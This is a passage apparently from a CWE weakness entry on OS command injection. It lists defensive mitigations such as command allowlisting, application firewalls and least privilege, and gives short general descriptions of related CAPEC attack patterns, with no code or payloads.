Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-108: Command Line Execution through SQL Injection
An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-6: Argument Injection
An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
CAPEC-88: OS Command Injection
In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.